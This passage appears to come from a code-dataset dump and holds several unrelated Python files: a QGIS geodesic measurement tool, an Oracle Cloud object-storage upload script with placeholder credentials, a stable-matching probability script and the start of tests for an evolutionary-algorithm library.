event):\n '''Capture the coordinates when the user click on the mouse for measurements.'''\n self.removeVertexMarker()\n if not self.measureDialog.isVisible():\n self.measureDialog.initGeodLabel()\n self.measureDialog.show()\n self.measureDialog.updateRBColor()\n return\n if not self.measureDialog.ready():\n return\n pt = self.snappoint(event.originalPixelPoint())\n button = event.button()\n if button == 2:\n self.measureDialog.endRubberband()\n return\n canvasCRS = self.canvas.mapSettings().destinationCrs()\n if canvasCRS != epsg4326:\n transform = QgsCoordinateTransform(canvasCRS, epsg4326, QgsProject.instance())\n pt = transform.transform(pt.x(), pt.y())\n self.measureDialog.addPoint(pt, button)\n\n def canvasMoveEvent(self, event):\n '''Capture the coordinate as the user moves the mouse over\n the canvas.'''\n if self.measureDialog.ready():\n pt = self.snappoint(event.originalPixelPoint())\n if self.measureDialog.motionReady():\n try:\n canvasCRS = self.canvas.mapSettings().destinationCrs()\n if canvasCRS != epsg4326:\n transform = QgsCoordinateTransform(canvasCRS, epsg4326, QgsProject.instance())\n pt = transform.transform(pt.x(), pt.y())\n self.measureDialog.inMotion(pt)\n except Exception:\n return\n\n def snappoint(self, qpoint):\n match = self.canvas.snappingUtils().snapToMap(qpoint)\n if match.isValid():\n if self.vertex is None:\n self.vertex = QgsVertexMarker(self.canvas)\n self.vertex.setIconSize(12)\n self.vertex.setPenWidth(2)\n self.vertex.setColor(self.snapcolor)\n self.vertex.setIconType(QgsVertexMarker.ICON_BOX)\n self.vertex.setCenter(match.point())\n return (match.point()) # Returns QgsPointXY\n else:\n self.removeVertexMarker()\n return self.toMapCoordinates(qpoint) # QPoint input, returns QgsPointXY\n\n def removeVertexMarker(self):\n if self.vertex is not None:\n self.canvas.scene().removeItem(self.vertex)\n self.vertex = None\n\n\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'ui/geodesicMeasureDialog.ui'))\n\nclass GeodesicMeasureDialog(QDialog, FORM_CLASS):\n def __init__(self, shapetools, iface, parent):\n super(GeodesicMeasureDialog, self).__init__(parent)\n self.setupUi(self)\n self.shapetools = shapetools\n self.iface = iface\n self.canvas = iface.mapCanvas()\n self.pointDigitizerDialog = AddMeasurePointWidget(self, iface, parent)\n qset = QSettings()\n self.comp = Compass()\n\n self.manualEntryButton.setIcon(QIcon(os.path.dirname(__file__) + \"/images/manualpoint.png\"))\n self.manualEntryButton.clicked.connect(self.showManualEntryDialog)\n self.settingsButton.setIcon(QIcon(':/images/themes/default/mActionOptions.svg'))\n self.settingsButton.clicked.connect(self.showSettings)\n\n self.restoreGeometry(qset.value(\"ShapeTools/MeasureDialogGeometry\", QByteArray(), type=QByteArray))\n self.closeButton.clicked.connect(self.closeDialog)\n self.newButton.clicked.connect(self.newDialog)\n self.saveToLayerButton.clicked.connect(self.saveToLayer)\n self.saveToLayerButton.setEnabled(False)\n\n self.unitsComboBox.addItems(DISTANCE_LABELS)\n saved_default_unit = int(qset.value('/ShapeTools/DefaultMeasureUnit', 0))\n self.unitsComboBox.setCurrentIndex(saved_default_unit)\n\n self.compassResolution = settings.compassResolution\n if self.compassResolution:\n self.tableWidget.setColumnCount(5)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Compass To'), tr('Heading From'), tr('Compass From'), tr('Distance')])\n else:\n self.tableWidget.setColumnCount(3)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Heading From'), tr('Distance')])\n self.tableWidget.setSortingEnabled(False)\n\n self.unitsComboBox.activated.connect(self.unitsChanged)\n\n self.capturedPoints = []\n self.distances = []\n self.startAngles = []\n self.endAngles = []\n self.activeMeasuring = True\n self.lastMotionPt = None\n self.unitsChanged()\n self.currentDistance = 0.0\n\n self.pointRb = QgsRubberBand(self.canvas, QgsWkbTypes.PointGeometry)\n self.pointRb.setColor(settings.rubberBandColor)\n self.pointRb.setIconSize(10)\n self.lineRb = QgsRubberBand(self.canvas, QgsWkbTypes.LineGeometry)\n self.lineRb.setColor(settings.rubberBandColor)\n self.lineRb.setWidth(3)\n self.tempRb = QgsRubberBand(self.canvas, QgsWkbTypes.LineGeometry)\n self.tempRb.setColor(settings.rubberBandColor)\n self.tempRb.setWidth(3)\n\n def showManualEntryDialog(self):\n self.pointDigitizerDialog.show()\n\n def showSettings(self):\n self.shapetools.settings()\n\n def ready(self):\n return self.activeMeasuring\n\n def stop(self):\n self.activeMeasuring = False\n self.lastMotionPt = None\n\n def showEvent(self, e):\n self.compassResolution = settings.compassResolution\n if self.compassResolution:\n self.tableWidget.setColumnCount(5)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Compass To'), tr('Heading From'), tr('Compass From'), tr('Distance')])\n else:\n self.tableWidget.setColumnCount(3)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Heading From'), tr('Distance')])\n\n def closeEvent(self, event):\n self.closeDialog()\n\n def closeDialog(self):\n self.clear()\n QSettings().setValue(\n \"ShapeTools/MeasureDialogGeometry\", self.saveGeometry())\n self.close()\n self.pointDigitizerDialog.closeDialog()\n\n def newDialog(self):\n self.clear()\n self.initGeodLabel()\n self.shapetools.measureTool()\n\n def initGeodLabel(self):\n label = tr('Ellipsoid: ') + settings.ellipseDescription\n self.geodLabel.setText(label)\n\n def keyPressed(self, key):\n index = len(self.capturedPoints)\n if index <= 0:\n return\n if key == Qt.Key_Escape:\n self.endRubberband()\n if self.motionReady():\n if self.lastMotionPt is None:\n return\n (distance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 1], self.lastMotionPt)\n else:\n if index < 2:\n return\n (distance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 2], self.capturedPoints[index - 1])\n\n distance = self.unitDistance(distance)\n clipboard = QApplication.clipboard()\n if key == Qt.Key_1 or key == Qt.Key_F:\n s = '{:.{prec}f}'.format(startAngle, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Heading to {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n elif key == Qt.Key_2 or key == Qt.Key_T:\n s = '{:.{prec}f}'.format(endAngle, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Heading from {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n elif key == Qt.Key_3 or key == Qt.Key_D:\n s = '{:.{prec}f}'.format(distance, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Distance {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n elif key == Qt.Key_4 or key == Qt.Key_A:\n total = 0.0\n num = len(self.capturedPoints)\n for i in range(1, num):\n (d, startA, endA) = self.calcParameters(self.capturedPoints[i - 1], self.capturedPoints[i])\n total += d\n total = self.unitDistance(total)\n # Add in the motion distance\n if self.motionReady():\n total += distance\n s = '{:.{prec}f}'.format(total, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Total distance {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n else:\n return\n\n def unitsChanged(self):\n qset = QSettings()\n selected_unit = self.unitsComboBox.currentIndex()\n qset.setValue('/ShapeTools/DefaultMeasureUnit', selected_unit)\n label = \"Distance [{}]\".format(DISTANCE_LABELS[selected_unit])\n item = QTableWidgetItem(label)\n if self.compassResolution:\n self.tableWidget.setHorizontalHeaderItem(4, item)\n else:\n self.tableWidget.setHorizontalHeaderItem(2, item)\n ptcnt = len(self.capturedPoints)\n if ptcnt >= 2:\n i = 0\n while i < ptcnt - 1:\n item = QTableWidgetItem('{:.4f}'.format(self.unitDistance(self.distances[i])))\n if self.compassResolution:\n self.tableWidget.setItem(i, 4, item)\n else:\n self.tableWidget.setItem(i, 2, item)\n i += 1\n self.formatTotal()\n\n def motionReady(self):\n if len(self.capturedPoints) > 0 and self.activeMeasuring:\n return True\n return False\n\n def addPoint(self, pt, button):\n self.currentDistance = 0\n index = len(self.capturedPoints)\n if index > 0 and pt == self.capturedPoints[index - 1]:\n # the clicked point is the same as the previous so just ignore it\n return\n self.capturedPoints.append(pt)\n # Add rubber band points\n canvasCrs = self.canvas.mapSettings().destinationCrs()\n transform = QgsCoordinateTransform(epsg4326, canvasCrs, QgsProject.instance())\n ptCanvas = transform.transform(pt.x(), pt.y())\n self.pointRb.addPoint(ptCanvas, True)\n # If there is more than 1 captured point add it to the table\n if index > 0:\n self.saveToLayerButton.setEnabled(True)\n (distance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 1], self.capturedPoints[index])\n self.distances.append(distance)\n self.startAngles.append(startAngle)\n self.endAngles.append(endAngle)\n self.insertParams(index, distance, startAngle, endAngle)\n # Add Rubber Band Line\n linePts = self.getLinePts(distance, self.capturedPoints[index - 1], self.capturedPoints[index])\n self.lineRb.addGeometry(QgsGeometry.fromPolylineXY(linePts), None)\n self.formatTotal()\n\n def endRubberband(self):\n index = len(self.capturedPoints)\n if index <= 0:\n return\n if index == 1:\n self.newDialog()\n return\n if self.motionReady():\n if self.lastMotionPt is not None:\n self.lastMotionPt = None\n self.tempRb.reset(QgsWkbTypes.LineGeometry)\n self.tableWidget.setRowCount(index - 1)\n self.stop()\n self.currentDistance = 0\n self.formatTotal()\n \n def inMotion(self, pt):\n index = len(self.capturedPoints)\n if index <= 0:\n return\n (self.currentDistance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 1], pt)\n self.insertParams(index, self.currentDistance, startAngle, endAngle)\n self.formatTotal()\n linePts = self.getLinePts(self.currentDistance, self.capturedPoints[index - 1], pt)\n self.lastMotionPt = pt\n self.tempRb.setToGeometry(QgsGeometry.fromPolylineXY(linePts), None)\n\n def calcParameters(self, pt1, pt2):\n gline = geod.Inverse(pt1.y(), pt1.x(), pt2.y(), pt2.x())\n az2 = (gline['azi2'] + 180) % 360.0\n if az2 > 180:\n az2 = az2 - 360.0\n az1 = gline['azi1']\n\n # Check to see if the azimuth values should be in the range or 0 to 360\n # The default is -180 to 180\n if settings.mtAzMode:\n if az1 < 0:\n az1 += 360.0\n if az2 < 0:\n az2 += 360\n return (gline['s12'], az1, az2)\n\n def getLinePts(self, distance, pt1, pt2):\n canvasCrs = self.canvas.mapSettings().destinationCrs()\n transform = QgsCoordinateTransform(epsg4326, canvasCrs, QgsProject.instance())\n pt1c = transform.transform(pt1.x(), pt1.y())\n pt2c = transform.transform(pt2.x(), pt2.y())\n if distance < 10000:\n return [pt1c, pt2c]\n gline = geod.InverseLine(pt1.y(), pt1.x(), pt2.y(), pt2.x())\n n = int(math.ceil(distance / 10000.0))\n if n > 20:\n n = 20\n seglen = distance / n\n pts = [pt1c]\n for i in range(1, n):\n s = seglen * i\n g = gline.Position(s, Geodesic.LATITUDE | Geodesic.LONGITUDE | Geodesic.LONG_UNROLL)\n ptc = transform.transform(g['lon2'], g['lat2'])\n pts.append(ptc)\n pts.append(pt2c)\n return pts\n\n def saveToLayer(self):\n units = self.unitDesignator()\n canvasCrs = self.canvas.mapSettings().destinationCrs()\n fields = QgsFields()\n fields.append(QgsField(\"label\", QVariant.String))\n fields.append(QgsField(\"value\", QVariant.Double))\n fields.append(QgsField(\"units\", QVariant.String))\n fields.append(QgsField(\"heading_to\", QVariant.Double))\n fields.append(QgsField(\"heading_from\", QVariant.Double))\n fields.append(QgsField(\"total_dist\", QVariant.Double))\n if self.compassResolution:\n fields.append(QgsField(\"compass_to\", QVariant.String))\n fields.append(QgsField(\"compass_from\", QVariant.String))\n\n layer = QgsVectorLayer(\"LineString?crs={}\".format(canvasCrs.authid()), \"Measurements\", \"memory\")\n dp = layer.dataProvider()\n dp.addAttributes(fields)\n layer.updateFields()\n\n num = len(self.capturedPoints)\n total = 0.0\n for i in range(1, num):\n (distance, startA, endA) = self.calcParameters(self.capturedPoints[i - 1], self.capturedPoints[i])\n total += distance\n total = self.unitDistance(total)\n for i in range(1, num):\n (distance, startA, endA) = self.calcParameters(self.capturedPoints[i - 1], self.capturedPoints[i])\n pts = self.getLinePts(distance, self.capturedPoints[i - 1], self.capturedPoints[i])\n distance = self.unitDistance(distance)\n feat = QgsFeature(layer.fields())\n feat.setAttribute(0, \"{:.{prec}f} {}\".format(distance, units,prec=settings.saveToLayerSignificantDigits))\n feat.setAttribute(1, distance)\n feat.setAttribute(2, units)\n feat.setAttribute(3, startA)\n feat.setAttribute(4, endA)\n feat.setAttribute(5, total)\n if self.compassResolution:\n feat.setAttribute(6, self.compass(startA))\n feat.setAttribute(7, self.compass(endA))\n feat.setGeometry(QgsGeometry.fromPolylineXY(pts))\n dp.addFeatures([feat])\n\n label = QgsPalLayerSettings()\n label.fieldName = 'label'\n try:\n label.placement = QgsPalLayerSettings.Line\n except Exception:\n label.placement = QgsPalLayerSettings.AboveLine\n format = label.format()\n format.setColor(settings.measureTextColor)\n format.setNamedStyle('Bold')\n label.setFormat(format)\n labeling = QgsVectorLayerSimpleLabeling(label)\n layer.setLabeling(labeling)\n layer.setLabelsEnabled(True)\n renderer = layer.renderer()\n renderer.symbol().setColor(settings.measureLineColor)\n renderer.symbol().setWidth(0.5)\n\n layer.updateExtents()\n QgsProject.instance().addMapLayer(layer)\n\n def insertParams(self, position, distance, startAngle, endAngle):\n if position > self.tableWidget.rowCount():\n self.tableWidget.insertRow(position - 1)\n item = QTableWidgetItem('{:.4f}'.format(self.unitDistance(distance)))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n if self.compassResolution:\n self.tableWidget.setItem(position - 1, 4, item)\n else:\n self.tableWidget.setItem(position - 1, 2, item)\n\n item = QTableWidgetItem('{:.4f}'.format(startAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.tableWidget.setItem(position - 1, 0, item)\n if self.compassResolution:\n item = QTableWidgetItem(self.compass(startAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.tableWidget.setItem(position - 1, 1, item)\n\n item = QTableWidgetItem('{:.4f}'.format(endAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n if self.compassResolution:\n self.tableWidget.setItem(position - 1, 2, item)\n else:\n self.tableWidget.setItem(position - 1, 1, item)\n if self.compassResolution:\n item = QTableWidgetItem(self.compass(endAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.tableWidget.setItem(position - 1, 3, item)\n\n def formatTotal(self):\n total = self.currentDistance\n ptcnt = len(self.capturedPoints)\n if ptcnt >= 2:\n i = 0\n while i < ptcnt - 1:\n total += self.distances[i]\n i += 1\n self.distanceLineEdit.setText('{:.2f}'.format(self.unitDistance(total)))\n\n def updateRBColor(self):\n self.pointRb.setColor(settings.rubberBandColor)\n self.lineRb.setColor(settings.rubberBandColor)\n self.tempRb.setColor(settings.rubberBandColor)\n\n def clear(self):\n self.tableWidget.setRowCount(0)\n self.capturedPoints = []\n self.distances = []\n self.startAngles = []\n self.endAngles = []\n self.activeMeasuring = True\n self.currentDistance = 0.0\n self.distanceLineEdit.setText('')\n self.pointRb.reset(QgsWkbTypes.PointGeometry)\n self.lineRb.reset(QgsWkbTypes.LineGeometry)\n self.tempRb.reset(QgsWkbTypes.LineGeometry)\n self.saveToLayerButton.setEnabled(False)\n self.updateRBColor()\n\n def unitDistance(self, distance):\n units = self.unitsComboBox.currentIndex()\n if units == 0: # kilometers\n return distance / 1000.0\n elif units == 1: # meters\n return distance\n elif units == 2: # centimeters\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceCentimeters)\n elif units == 3: # miles\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceMiles)\n elif units == 4: # yards\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceYards)\n elif units == 5: # feet\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceFeet)\n elif units == 6: # inches\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceFeet) * 12\n elif units == 7: # nautical miles\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceNauticalMiles)\n\n def unitDesignator(self):\n units = self.unitsComboBox.currentIndex()\n return unitsAbbr[units]\n\n def compass(self, degree):\n if self.compassResolution == 0: # Disabled\n return('')\n elif self.compassResolution == 1: # 32 points\n s = self.comp.abbr(degree)\n elif self.compassResolution == 2: # 16 points\n s = self.comp.abbr16(degree)\n elif self.compassResolution == 3: # 3 points\n s = self.comp.abbr08(degree)\n else: # 4 points\n s =self.comp.abbr04(degree)\n return(s)\n\nFORM_CLASS2, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'ui/measureaddnode.ui'))\n\n\nclass AddMeasurePointWidget(QDialog, FORM_CLASS2):\n inputProjection = 0\n inputXYOrder = 1\n\n def __init__(self, md, iface, parent):\n super(AddMeasurePointWidget, self).__init__(parent)\n self.setupUi(self)\n self.measureDialog = md\n self.iface = iface\n self.canvas = iface.mapCanvas()\n self.xymenu = QMenu()\n icon = QIcon(os.path.dirname(__file__) + '/images/yx.svg')\n a = self.xymenu.addAction(icon, \"Y, X (Lat, Lon) Order\")\n a.setData(0)\n icon = QIcon(os.path.dirname(__file__) + '/images/xy.svg')\n a = self.xymenu.addAction(icon, \"X, Y (Lon, Lat) Order\")\n a.setData(1)\n self.xyButton.setIconSize(QSize(24, 24))\n self.xyButton.setIcon(icon)\n self.xyButton.setMenu(self.xymenu)\n self.xyButton.triggered.connect(self.xyTriggered)\n\n self.crsmenu = QMenu()\n icon = QIcon(os.path.dirname(__file__) + '/images/wgs84Projection.svg')\n a = self.crsmenu.addAction(icon, \"WGS 84 (latitude & longitude)\")\n a.setData(0)\n icon = QIcon(os.path.dirname(__file__) + '/images/projProjection.svg')\n a = self.crsmenu.addAction(icon, \"Project CRS\")\n a.setData(1)\n icon = QIcon(os.path.dirname(__file__) + '/images/customProjection.svg')\n a = self.crsmenu.addAction(icon, \"Specify CRS\")\n a.setData(2)\n self.crsButton.setIconSize(QSize(24, 24))\n self.crsButton.setIcon(icon)\n self.crsButton.setMenu(self.crsmenu)\n self.crsButton.triggered.connect(self.crsTriggered)\n\n self.addButton.clicked.connect(self.addPoint)\n self.exitButton.clicked.connect(self.closeDialog)\n\n self.readSettings()\n self.configButtons()\n \n self.restoreGeometry(QSettings().value(\"ShapeTools/AddMeasurePointGeometry\", QByteArray(), type=QByteArray))\n\n def showEvent(self, e):\n self.labelUpdate()\n\n def closeDialog(self):\n QSettings().setValue(\n \"ShapeTools/AddMeasurePointGeometry\", self.saveGeometry())\n self.close()\n\n def addPoint(self):\n text = self.lineEdit.text().strip()\n if text == \"\":\n return\n try:\n if (self.inputProjection == 0) or (text[0] == '{'):\n # If this is GeoJson it does not matter what inputProjection is\n if text[0] == '{': # This may be a GeoJSON point\n codec = QTextCodec.codecForName(\"UTF-8\")\n fields = QgsJsonUtils.stringToFields(text, codec)\n fet = QgsJsonUtils.stringToFeatureList(text, fields, codec)\n if (len(fet) == 0) or not fet[0].isValid():\n raise ValueError('Invalid Coordinates')\n\n geom = fet[0].geometry()\n if geom.isEmpty() or (geom.wkbType() != QgsWkbTypes.Point):\n raise ValueError('Invalid GeoJSON Geometry')\n pt = geom.asPoint()\n lat = pt.y()\n lon = pt.x()\n elif re.search(r'POINT\\(', text) is not None:\n m = re.findall(r'POINT\\(\\s*([+-]?\\d*\\.?\\d*)\\s+([+-]?\\d*\\.?\\d*)', text)\n if len(m) != 1:\n raise ValueError('Invalid Coordinates')\n lon = float(m[0][0])\n lat = float(m[0][1])\n else:\n lat, lon = parseDMSString(text, self.inputXYOrder)\n srcCrs = epsg4326\n else: # Is either the project or custom CRS\n if re.search(r'POINT\\(', text) is None:\n coords = re.split(r'[\\s,;:]+', text, 1)\n if len(coords) < 2:\n raise ValueError('Invalid Coordinates')\n if self.inputXYOrder == 0: # Y, X Order\n lat = float(coords[0])\n lon = float(coords[1])\n else:\n lon = float(coords[0])\n lat = float(coords[1])\n else:\n m = re.findall(r'POINT\\(\\s*([+-]?\\d*\\.?\\d*)\\s+([+-]?\\d*\\.?\\d*)', text)\n if len(m) != 1:\n raise ValueError('Invalid Coordinates')\n lon = float(m[0][0])\n lat = float(m[0][1])\n if self.inputProjection == 1: # Project CRS\n srcCrs = self.canvas.mapSettings().destinationCrs()\n else:\n srcCrs = QgsCoordinateReferenceSystem(self.inputCustomCRS)\n except Exception:\n # traceback.print_exc()\n self.iface.messageBar().pushMessage(\"\", \"Invalid Coordinate\", level=Qgis.Warning, duration=2)\n return\n self.lineEdit.clear()\n if srcCrs != epsg4326:\n transform = QgsCoordinateTransform(srcCrs, epsg4326, QgsProject.instance())\n # Transform the input coordinate projection to the layer CRS\n lon, lat = transform.transform(float(lon), float(lat))\n pt = QgsPointXY(lon, lat)\n self.measureDialog.addPoint(pt, 1)\n\n def labelUpdate(self):\n if self.isWgs84():\n if self.inputXYOrder == 0:\n o = \"Lat, Lon\"\n else:\n o = \"Lon, Lat\"\n proj = \"Wgs84\"\n else:\n if self.inputXYOrder == 0:\n o = \"Y, X\"\n else:\n o = \"X, Y\"\n if self.inputProjection == 1: # Project Projection\n proj = self.canvas.mapSettings().destinationCrs().authid()\n else:\n proj = self.inputCustomCRS\n s = \"Input Projection: {} - Coordinate Order: {}\".format(proj, o)\n self.infoLabel.setText(s)\n\n def configButtons(self):\n self.xyButton.setDefaultAction(self.xymenu.actions()[self.inputXYOrder])\n self.crsButton.setDefaultAction(self.crsmenu.actions()[self.inputProjection])\n\n def readSettings(self):\n settings = QSettings()\n self.inputProjection = int(settings.value('/ShapeTools/DigitizerProjection', 0))\n self.inputXYOrder = int(settings.value('/ShapeTools/DigitizerXYOrder', 0))\n self.inputCustomCRS = settings.value('/ShapeTools/DigitizerCustomCRS', 'EPSG:4326')\n if self.inputProjection < 0 or self.inputProjection > 2:\n self.inputProjection = 0\n if self.inputXYOrder < 0 or self.inputXYOrder > 1:\n self.inputXYOrder = 1\n self.labelUpdate()\n\n def saveSettings(self):\n settings = QSettings()\n settings.setValue('/ShapeTools/DigitizerProjection', self.inputProjection)\n settings.setValue('/ShapeTools/DigitizerXYOrder', self.inputXYOrder)\n settings.setValue('/ShapeTools/DigitizerCustomCRS', self.inputCustomCRS)\n self.labelUpdate()\n\n def crsTriggered(self, action):\n self.crsButton.setDefaultAction(action)\n self.inputProjection = action.data()\n if self.inputProjection == 2:\n selector = QgsProjectionSelectionDialog()\n selector.setCrs(QgsCoordinateReferenceSystem(self.inputCustomCRS))\n if selector.exec():\n self.inputCustomCRS = selector.crs().authid()\n else:\n self.inputCustomCRS = 'EPSG:4326'\n self.saveSettings()\n\n def xyTriggered(self, action):\n self.xyButton.setDefaultAction(action)\n self.inputXYOrder = action.data()\n self.saveSettings()\n\n def isWgs84(self):\n if self.inputProjection == 0: # WGS 84\n return True\n elif self.inputProjection == 1: # Projection Projection\n if self.canvas.mapSettings().destinationCrs() == epsg4326:\n return True\n return False\n","repo_name":"NationalSecurityAgency/qgis-shapetools-plugin","sub_path":"geodesicMeasureTool.py","file_name":"geodesicMeasureTool.py","file_ext":"py","file_size_in_byte":30417,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"27"} +{"seq_id":"72637917191","text":"#\n# Oracle SE Team Italy\n# with special thnks to SuperBrack\n#\n# 16/03/2019: modified to support multiple file uploading\n#\nimport oci\nimport os\nimport io\nimport sys\nfrom pathlib import Path\nfrom oci.config import validate_config\nfrom oci.object_storage import ObjectStorageClient\n\n# configuration for connection to Oracle OCI\n# for user, tenancy you have to specify the OCID\n# the key is the key (PEM) you have uploaded to your profile \n#\nconfig = {\n \"user\": \"ocid1.XXXXX\",\n \"key_file\": \"/Users/lsaetta/Progetti/xxx/oci_api_key.pem\",\n \"fingerprint\": \"75:YYYYY\",\n \"tenancy\": \"ocid1.ZZZZ\",\n \"region\": \"eu-frankfurt-1\"\n}\n\n# controlla command line params\ndef check_params():\n # verifica parametri input\n N_PARAMS = 3 # numero atteso parametri\n n_params = len(sys.argv)\n\n if (n_params < (N_PARAMS + 1)):\n print(\"Usage: upload.py bucket_name local_file_path file_names\")\n # file_names could be a list separated by comma (eg: file1,file2)\n\n sys.exit(-1)\n else:\n print(\"Running with: \")\n print(\"Bucket name: {}\".format(sys.argv[1]))\n print(\"File path: {}\".format(sys.argv[2]))\n print(\"File names: {}\".format(sys.argv[3]))\n print(\"\")\n\n#\n# Main\n#\nif __name__ == \"__main__\":\n print(\"\")\n\n check_params()\n\n validate_config(config)\n\n print(\"Validate configuration OK\")\n\n bucket_name = sys.argv[1]\n FILE_PATH = sys.argv[2]\n FILE_NAMES = sys.argv[3]\n\n # parse file_names\n FILE_NAMES = sys.argv[3].split(\",\") \n\n object_storage_client = ObjectStorageClient(config)\n\n # get the namespace\n namespace = object_storage_client.get_namespace().data\n\n print(\"\")\n\n for FILE_NAME in FILE_NAMES:\n print('Uploading file {} ...'.format(FILE_NAME))\n\n object_storage_client.put_object(namespace, bucket_name, FILE_NAME, io.open(os.path.join(Path(FILE_PATH), FILE_NAME),'rb'))\n\n print(\"Upload completed !\")\n print(\"\")\n\n","repo_name":"luigisaetta/ocipy","sub_path":"upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"43576300546","text":"from sympy import Symbol, simplify, factor, expand, cancel, solve\nfrom copy import deepcopy\nfrom random import randint\nfrom itertools import permutations, combinations\nfrom scipy.optimize import minimize\nimport numpy as np\n\ndebug = False\n\nfrom fractions import Fraction\n#def Fraction(a, b=1): return a/b\n\n######## DEFERRED ACCEPTANCE\ndef next(N, P, probaMatching, state, proba):\n global debug\n if proba == 0: return\n menPropositions, womenAnswers = state\n single = 0\n while single in womenAnswers:\n single += 1\n if single == N: # finished\n p = tuple(womenAnswers[i] for i in range(N))\n probaMatching[p] += proba\n if debug: print(womenAnswers, proba)\n else:\n Wbranches = [ w for w in range(N) if w not in menPropositions[single]]\n propSum = sum(P[single][w] for w in Wbranches)\n for w in Wbranches:\n if propSum != 0:\n propP = Fraction(P[single][w], propSum)\n else:\n propP = Fraction(1, len(Wbranches))\n Mbranches = [m for m in range(N) if w in menPropositions[m]]\n answSum = sum(P[m][w] for m in Mbranches)\n if answSum + P[single][w] != 0:\n answP = Fraction(P[single][w], answSum + P[single][w])\n else:\n answP = Fraction(1, len(Mbranches) + 1)\n state2 = deepcopy(state)\n state2[0][single].append(w)\n next(N, P, probaMatching, state2, proba * propP * (1-answP))\n state2[1][w] = single\n next(N, P, probaMatching, state2, proba * propP * answP)\n\n\ndef solve(N, P):\n # Init\n probaMPDA = { p : 0 for p in permutations(range(N)) }\n probaWPDA = { p : 0 for p in permutations(range(N)) }\n state = ([[] for i in range(N)], [None for i in range(N)])\n \n # Deferred acceptance\n next(N, P, probaMPDA, state, Fraction(1))\n next(N, P.T, probaWPDA, state, Fraction(1))\n \n # Results\n error = 0\n for p1 in permutations(range(N)):\n p2 = [None] * N\n for i in range(N):\n p2[p1[i]] = i\n p2 = tuple(p2)\n s = probaMPDA[p1] + probaWPDA[p2]\n \"\"\"\n if s > 0:\n e = abs(probaMPDA[p1] - probaWPDA[p2]) / s\n error = max(error, e)\n \"\"\"\n print(p1, cancel(probaMPDA[p1]), cancel(probaWPDA[p2]))\n return error\n\nP = np.array([[2,4,0],[8,1,4],[0,0,0]])\nW = Symbol(\"w\")\n#P = np.array([[W**1,W**2,0],[W**3,W**0,W**2],[0,0,0]])\nprint(solve(3, P))\n\n","repo_name":"simon-mauras/stable-matchings","sub_path":"Probability/popularity.py","file_name":"popularity.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"} +{"seq_id":"26239073090","text":"import copy\nimport functools\n\nimport numpy as np\nimport pytest\n\nimport cgp\nfrom cgp import IndividualSingleGenome\n\n\ndef test_assert_mutation_rate(n_offsprings, mutation_rate):\n with pytest.raises(ValueError):\n cgp.ea.MuPlusLambda(n_offsprings, -0.1)\n\n with pytest.raises(ValueError):\n cgp.ea.MuPlusLambda(n_offsprings, 1.1)\n\n # assert that no error is thrown for a suitable mutation rate\n cgp.ea.MuPlusLambda(n_offsprings, mutation_rate)\n\n\ndef test_objective_with_label(population_params, genome_params, ea_params):\n def objective_without_label(individual):\n individual.fitness = -2.0\n return individual\n\n def objective_with_label(individual, label):\n assert label == \"test\"\n individual.fitness = -1.0\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective_without_label)\n\n ea.step(pop, objective_without_label)\n assert pop.champion.fitness == pytest.approx(-2.0)\n\n obj = functools.partial(objective_with_label, label=\"test\")\n ea.step(pop, obj)\n assert pop.champion.fitness == pytest.approx(-1.0)\n\n\ndef test_fitness_contains_and_maintains_nan(population_params, genome_params, ea_params, rng_seed):\n def objective(individual):\n rng = np.random.RandomState(rng_seed)\n if rng.rand() < 0.95:\n individual.fitness = np.nan\n else:\n individual.fitness = rng.rand()\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n ea.step(pop, objective)\n assert any([np.isnan(ind.fitness) for ind in pop])\n\n\ndef 